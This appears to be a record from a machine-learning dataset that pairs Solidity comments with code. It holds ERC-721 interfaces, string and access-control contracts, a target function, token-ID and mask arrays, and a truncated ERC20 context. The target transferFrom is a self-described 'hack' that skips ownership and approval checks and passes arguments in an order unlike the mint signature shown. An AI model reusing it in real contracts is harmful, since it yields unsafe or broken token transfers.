have to worry about different method names. */ function transferFrom(address _from, address _to, uint256 _tokenId) public { // simply delegate to `mint` mint(_tokenId, _to); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title ERC-165 Standard Interface Detection * * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * @dev Implementers can declare support of contract interfaces, * which can then be queried by others. * * @author Christian Reitwießner, Nick Johnson, Fabian Vogelsteller, Jordi Baylina, Konrad Feldmeier, William Entriken */ interface ERC165 { /** * @notice Query if a contract implements an interface * * @dev Interface identification is specified in ERC-165. * This function uses less than 30,000 gas. * * @param interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `interfaceID` and * `interfaceID` is not 0xffffffff, `false` otherwise */ function supportsInterface(bytes4 interfaceID) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./ERC165Spec.sol"; /** * @title ERC-721 Non-Fungible Token Standard * * @notice See https://eips.ethereum.org/EIPS/eip-721 * * @dev Solidity issue #3412: The ERC721 interfaces include explicit mutability guarantees for each function. * Mutability guarantees are, in order weak to strong: payable, implicit nonpayable, view, and pure. * Implementation MUST meet the mutability guarantee in this interface and MAY meet a stronger guarantee. * For example, a payable function in this interface may be implemented as nonpayable * (no state mutability specified) in implementing contract. * It is expected a later Solidity release will allow stricter contract to inherit from this interface, * but current workaround is that we edit this interface to add stricter mutability before inheriting: * we have removed all "payable" modifiers. * * @dev The ERC-165 identifier for this interface is 0x80ac58cd. * * @author William Entriken, Dieter Shirley, Jacob Evans, Nastassia Sachs */ interface ERC721 is ERC165 { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param _data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external /*payable*/; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external /*payable*/; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external /*payable*/; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external /*payable*/; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02. interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * * @notice See https://eips.ethereum.org/EIPS/eip-721 * * @dev The ERC-165 identifier for this interface is 0x5b5e139f. * * @author William Entriken, Dieter Shirley, Jacob Evans, Nastassia Sachs */ interface ERC721Metadata is ERC721 { /// @notice A descriptive name for a collection of NFTs in this contract function name() external view returns (string memory _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external view returns (string memory _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * * @notice See https://eips.ethereum.org/EIPS/eip-721 * * @dev The ERC-165 identifier for this interface is 0x780e9d63. * * @author William Entriken, Dieter Shirley, Jacob Evans, Nastassia Sachs */ interface ERC721Enumerable is ERC721 { /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() external view returns (uint256); /// @notice Enumerate valid NFTs /// @dev Throws if `_index` >= `totalSupply()`. /// @param _index A counter less than `totalSupply()` /// @return The token identifier for the `_index`th NFT, /// (sort order not specified) function tokenByIndex(uint256 _index) external view returns (uint256); /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title Alethea Mintable ERC721 * * @notice Defines mint capabilities for Alethea ERC721 tokens. * This interface should be treated as a definition of what mintable means for ERC721 */ interface MintableERC721 { /** * @notice Checks if specified token exists * * @dev Returns whether the specified token ID has an ownership * information associated with it * * @param _tokenId ID of the token to query existence for * @return whether the token exists (true - exists, false - doesn't exist) */ function exists(uint256 _tokenId) external view returns(bool); /** * @dev Creates new token with token ID specified * and assigns an ownership `_to` for this token * * @dev Unsafe: doesn't execute `onERC721Received` on the receiver. * Prefer the use of `saveMint` instead of `mint`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint */ function mint(address _to, uint256 _tokenId) external; /** * @dev Creates new tokens starting with token ID specified * and assigns an ownership `_to` for these tokens * * @dev Token IDs to be minted: [_tokenId, _tokenId + n) * * @dev n must be greater or equal 2: `n > 1` * * @dev Unsafe: doesn't execute `onERC721Received` on the receiver. * Prefer the use of `saveMintBatch` instead of `mintBatch`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint tokens to * @param _tokenId ID of the first token to mint * @param n how many tokens to mint, sequentially increasing the _tokenId */ function mintBatch(address _to, uint256 _tokenId, uint256 n) external; /** * @dev Creates new token with token ID specified * and assigns an ownership `_to` for this token * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint */ function safeMint(address _to, uint256 _tokenId) external; /** * @dev Creates new token with token ID specified * and assigns an ownership `_to` for this token * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint * @param _data additional data with no specified format, sent in call to `_to` */ function safeMint(address _to, uint256 _tokenId, bytes memory _data) external; /** * @dev Creates new tokens starting with token ID specified * and assigns an ownership `_to` for these tokens * * @dev Token IDs to be minted: [_tokenId, _tokenId + n) * * @dev n must be greater or equal 2: `n > 1` * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint * @param n how many tokens to mint, sequentially increasing the _tokenId */ function safeMintBatch(address _to, uint256 _tokenId, uint256 n) external; /** * @dev Creates new tokens starting with token ID specified * and assigns an ownership `_to` for these tokens * * @dev Token IDs to be minted: [_tokenId, _tokenId + n) * * @dev n must be greater or equal 2: `n > 1` * * @dev Checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * * @dev Should have a restricted access handled by the implementation * * @param _to an address to mint token to * @param _tokenId ID of the token to mint * @param n how many tokens to mint, sequentially increasing the _tokenId * @param _data additional data with no specified format, sent in call to `_to` */ function safeMintBatch(address _to, uint256 _tokenId, uint256 n, bytes memory _data) external; } /** * @title Alethea Burnable ERC721 * * @notice Defines burn capabilities for Alethea ERC721 tokens. * This interface should be treated as a definition of what burnable means for ERC721 */ interface BurnableERC721 { /** * @notice Destroys the token with token ID specified * * @dev Should be accessible publicly by token owners. * May have a restricted access handled by the implementation * * @param _tokenId ID of the token to burn */ function burn(uint256 _tokenId) external; } /** * @title With Base URI * * @notice A marker interface for the contracts having the baseURI() function * or public string variable named baseURI * NFT implementations like TinyERC721, or ShortERC721 are example of such smart contracts */ interface WithBaseURI { /** * @dev Usually used in NFT implementations to construct ERC721Metadata.tokenURI as * `base URI + token ID` if token URI is not set (not present in `_tokenURIs` mapping) * * @dev For example, if base URI is https://api.com/token/, then token #1 * will have an URI https://api.com/token/1 */ function baseURI() external view returns(string memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title String Utils Library * * @dev Library for working with strings, primarily converting * between strings and integer types */ library StringUtils { /** * @dev Converts a string to unsigned integer using the specified `base` * @dev Throws on invalid input * (wrong characters for a given `base`) * @dev Throws if given `base` is not supported * @param a string to convert * @param base number base, one of 2, 8, 10, 16 * @return i a number representing given string */ function atoi(string memory a, uint8 base) internal pure returns (uint256 i) { // check if the base is valid require(base == 2 || base == 8 || base == 10 || base == 16); // convert string into bytes for convenient iteration bytes memory buf = bytes(a); // iterate over the string (bytes buffer) for(uint256 p = 0; p < buf.length; p++) { // extract the digit uint8 digit = uint8(buf[p]) - 0x30; // if digit is greater then 10 - mind the gap // see `itoa` function for more details if(digit > 10) { // remove the gap digit -= 7; } // check if digit meets the base require(digit < base); // move to the next digit slot i *= base; // add digit to the result i += digit; } // return the result return i; } /** * @dev Converts a integer to a string using the specified `base` * @dev Throws if given `base` is not supported * @param i integer to convert * @param base number base, one of 2, 8, 10, 16 * @return a a string representing given integer */ function itoa(uint256 i, uint8 base) internal pure returns (string memory a) { // check if the base is valid require(base == 2 || base == 8 || base == 10 || base == 16); // for zero input the result is "0" string for any base if(i == 0) { return "0"; } // bytes buffer to put ASCII characters into bytes memory buf = new bytes(256); // position within a buffer to be used in cycle uint256 p = 0; // extract digits one by one in a cycle while(i > 0) { // extract current digit uint8 digit = uint8(i % base); // convert it to an ASCII code // 0x20 is " " // 0x30-0x39 is "0"-"9" // 0x41-0x5A is "A"-"Z" // 0x61-0x7A is "a"-"z" ("A"-"Z" XOR " ") uint8 ascii = digit + 0x30; // if digit is greater then 10, // fix the 0x3A-0x40 gap of punctuation marks // (7 characters in ASCII table) if(digit >= 10) { // jump through the gap ascii += 7; } // write character into the buffer buf[p++] = bytes1(ascii); // move to the next digit i /= base; } // `p` contains real length of the buffer now, // allocate the resulting buffer of that size bytes memory result = new bytes(p); // copy the buffer in the reversed order for(p = 0; p < result.length; p++) { // copy from the beginning of the original buffer // to the end of resulting smaller buffer result[result.length - p - 1] = buf[p]; } // construct string and return return string(result); } /** * @dev Concatenates two strings `s1` and `s2`, for example, if * `s1` == `foo` and `s2` == `bar`, the result `s` == `foobar` * @param s1 first string * @param s2 second string * @return s concatenation result s1 + s2 */ function concat(string memory s1, string memory s2) internal pure returns (string memory s) { // an old way of string concatenation (Solidity 0.4) is commented out /* // convert s1 into buffer 1 bytes memory buf1 = bytes(s1); // convert s2 into buffer 2 bytes memory buf2 = bytes(s2); // create a buffer for concatenation result bytes memory buf = new bytes(buf1.length + buf2.length); // copy buffer 1 into buffer for(uint256 i = 0; i < buf1.length; i++) { buf[i] = buf1[i]; } // copy buffer 2 into buffer for(uint256 j = buf1.length; j < buf2.length; j++) { buf[j] = buf2[j - buf1.length]; } // construct string and return return string(buf); */ // simply use built in function return string(abi.encodePacked(s1, s2)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title Access Control List * * @notice Access control smart contract provides an API to check * if specific operation is permitted globally and/or * if particular user has a permission to execute it. * * @notice It deals with two main entities: features and roles. * * @notice Features are designed to be used to enable/disable specific * functions (public functions) of the smart contract for everyone. * @notice User roles are designed to restrict access to specific * functions (restricted functions) of the smart contract to some users. * * @notice Terms "role", "permissions" and "set of permissions" have equal meaning * in the documentation text and may be used interchangeably. * @notice Terms "permission", "single permission" implies only one permission bit set. * * @notice Access manager is a special role which allows to grant/revoke other roles. * Access managers can only grant/revoke permissions which they have themselves. * As an example, access manager with no other roles set can only grant/revoke its own * access manager permission and nothing else. * * @notice Access manager permission should be treated carefully, as a super admin permission: * Access manager with even no other permission can interfere with another account by * granting own access manager permission to it and effectively creating more powerful * permission set than its own. * * @dev Both current and OpenZeppelin AccessControl implementations feature a similar API * to check/know "who is allowed to do this thing". * @dev Zeppelin implementation is more flexible: * - it allows setting unlimited number of roles, while current is limited to 256 different roles * - it allows setting an admin for each role, while current allows having only one global admin * @dev Current implementation is more lightweight: * - it uses only 1 bit per role, while Zeppelin uses 256 bits * - it allows setting up to 256 roles at once, in a single transaction, while Zeppelin allows * setting only one role in a single transaction * * @dev This smart contract is designed to be inherited by other * smart contracts which require access control management capabilities. * * @dev Access manager permission has a bit 255 set. * This bit must not be used by inheriting contracts for any other permissions/features. */ contract AccessControl { /** * @notice Access manager is responsible for assigning the roles to users, * enabling/disabling global features of the smart contract * @notice Access manager can add, remove and update user roles, * remove and update global features * * @dev Role ROLE_ACCESS_MANAGER allows modifying user roles and global features * @dev Role ROLE_ACCESS_MANAGER has single bit at position 255 enabled */ uint256 public constant ROLE_ACCESS_MANAGER = 0x8000000000000000000000000000000000000000000000000000000000000000; /** * @dev Bitmask representing all the possible permissions (super admin role) * @dev Has all the bits are enabled (2^256 - 1 value) */ uint256 private constant FULL_PRIVILEGES_MASK = type(uint256).max; // before 0.8.0: uint256(-1) overflows to 0xFFFF... /** * @notice Privileged addresses with defined roles/permissions * @notice In the context of ERC20/ERC721 tokens these can be permissions to * allow minting or burning tokens, transferring on behalf and so on * * @dev Maps user address to the permissions bitmask (role), where each bit * represents a permission * @dev Bitmask 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF * represents all possible permissions * @dev 'This' address mapping represents global features of the smart contract */ mapping(address => uint256) public userRoles; /** * @dev Fired in updateRole() and updateFeatures() * * @param _by operator which called the function * @param _to address which was granted/revoked permissions * @param _requested permissions requested * @param _actual permissions effectively set */ event RoleUpdated(address indexed _by, address indexed _to, uint256 _requested, uint256 _actual); /** * @notice Creates an access control instance, * setting contract creator to have full privileges */ constructor() { // contract creator has full privileges userRoles[msg.sender] = FULL_PRIVILEGES_MASK; } /** * @notice Retrieves globally set of features enabled * * @dev Effectively reads userRoles role for the contract itself * * @return 256-bit bitmask of the features enabled */ function features() public view returns(uint256) { // features are stored in 'this' address mapping of `userRoles` structure return userRoles[address(this)]; } /** * @notice Updates set of the globally enabled features (`features`), * taking into account sender's permissions * * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission * @dev Function is left for backward compatibility with older versions * * @param _mask bitmask representing a set of features to enable/disable */ function updateFeatures(uint256 _mask) public { // delegate call to `updateRole` updateRole(address(this), _mask); } /** * @notice Updates set of permissions (role) for a given user, * taking into account sender's permissions. * * @dev Setting role to zero is equivalent to removing an all permissions * @dev Setting role to `FULL_PRIVILEGES_MASK` is equivalent to * copying senders' permissions (role) to the user * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission * * @param operator address of a user to alter permissions for or zero * to alter global features of the smart contract * @param role bitmask representing a set of permissions to * enable/disable for a user specified */ function updateRole(address operator, uint256 role) public { // caller must have a permission to update user roles require(isSenderInRole(ROLE_ACCESS_MANAGER), "access denied"); // evaluate the role and reassign it userRoles[operator] = evaluateBy(msg.sender, userRoles[operator], role); // fire an event emit RoleUpdated(msg.sender, operator, role, userRoles[operator]); } /** * @notice Determines the permission bitmask an operator can set on the * target permission set * @notice Used to calculate the permission bitmask to be set when requested * in `updateRole` and `updateFeatures` functions * * @dev Calculated based on: * 1) operator's own permission set read from userRoles[operator] * 2) target permission set - what is already set on the target * 3) desired permission set - what do we want set target to * * @dev Corner cases: * 1) Operator is super admin and its permission set is `FULL_PRIVILEGES_MASK`: * `desired` bitset is returned regardless of the `target` permission set value * (what operator sets is what they get) * 2) Operator with no permissions (zero bitset): * `target` bitset is returned regardless of the `desired` value * (operator has no authority and cannot modify anything) * * @dev Example: * Consider an operator with the permissions bitmask 00001111 * is about to modify the target permission set 01010101 * Operator wants to set that permission set to 00110011 * Based on their role, an operator has the permissions * to update only lowest 4 bits on the target, meaning that * high 4 bits of the target set in this example is left * unchanged and low 4 bits get changed as desired: 01010011 * * @param operator address of the contract operator which is about to set the permissions * @param target input set of permissions to operator is going to modify * @param desired desired set of permissions operator would like to set * @return resulting set of permissions given operator will set */ function evaluateBy(address operator, uint256 target, uint256 desired) public view returns(uint256) { // read operator's permissions uint256 p = userRoles[operator]; // taking into account operator's permissions, // 1) enable the permissions desired on the `target` target |= p & desired; // 2) disable the permissions desired on the `target` target &= FULL_PRIVILEGES_MASK ^ (p & (FULL_PRIVILEGES_MASK ^ desired)); // return calculated result return target; } /** * @notice Checks if requested set of features is enabled globally on the contract * * @param required set of features to check against * @return true if all the features requested are enabled, false otherwise */ function isFeatureEnabled(uint256 required) public view returns(bool) { // delegate call to `__hasRole`, passing `features` property return __hasRole(features(), required); } /** * @notice Checks if transaction sender `msg.sender` has all the permissions required * * @param required set of permissions (role) to check against * @return true if all the permissions requested are enabled, false otherwise */ function isSenderInRole(uint256 required) public view returns(bool) { // delegate call to `isOperatorInRole`, passing transaction sender return isOperatorInRole(msg.sender, required); } /** * @notice Checks if operator has all the permissions (role) required * * @param operator address of the user to check role for * @param required set of permissions (role) to check * @return true if all the permissions requested are enabled, false otherwise */ function isOperatorInRole(address operator, uint256 required) public view returns(bool) { // delegate call to `__hasRole`, passing operator's permissions (role) return __hasRole(userRoles[operator], required); } /** * @dev Checks if role `actual` contains all the permissions required `required` * * @param actual existent role * @param required required role * @return true if actual has required role (all permissions), false otherwise */ function __hasRole(uint256 actual, uint256 required) internal pure returns(bool) { // check the bitmask for the role required and return the result return actual & required == required; } }
* @dev Hack to get things to work automatically on OpenSea. Use transferFrom so the frontend doesn't have to worry about different method names./ simply delegate to `mint`
function transferFrom(address _from, address _to, uint256 _tokenId) public { mint(_tokenId, _to); }
14,499,392
[ 1, 44, 484, 358, 336, 9198, 358, 1440, 6635, 603, 3502, 1761, 69, 18, 1377, 2672, 7412, 1265, 1427, 326, 15442, 3302, 1404, 1240, 358, 26784, 2973, 3775, 707, 1257, 18, 19, 8616, 7152, 358, 1375, 81, 474, 68, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 2316, 548, 13, 1071, 288, 203, 202, 202, 81, 474, 24899, 2316, 548, 16, 389, 869, 1769, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Recoverable is Ownable { /// @dev Empty constructor (for now) function Recoverable() { } /// @dev This will be invoked by the owner, when owner wants to rescue tokens /// @param token Token which will we rescue to the owner from the contract function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } /// @dev Interface function, can be overwritten by the superclass /// @param token Token which balance we will check and return /// @return The amount of tokens (in smallest denominator) the contract owns function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= 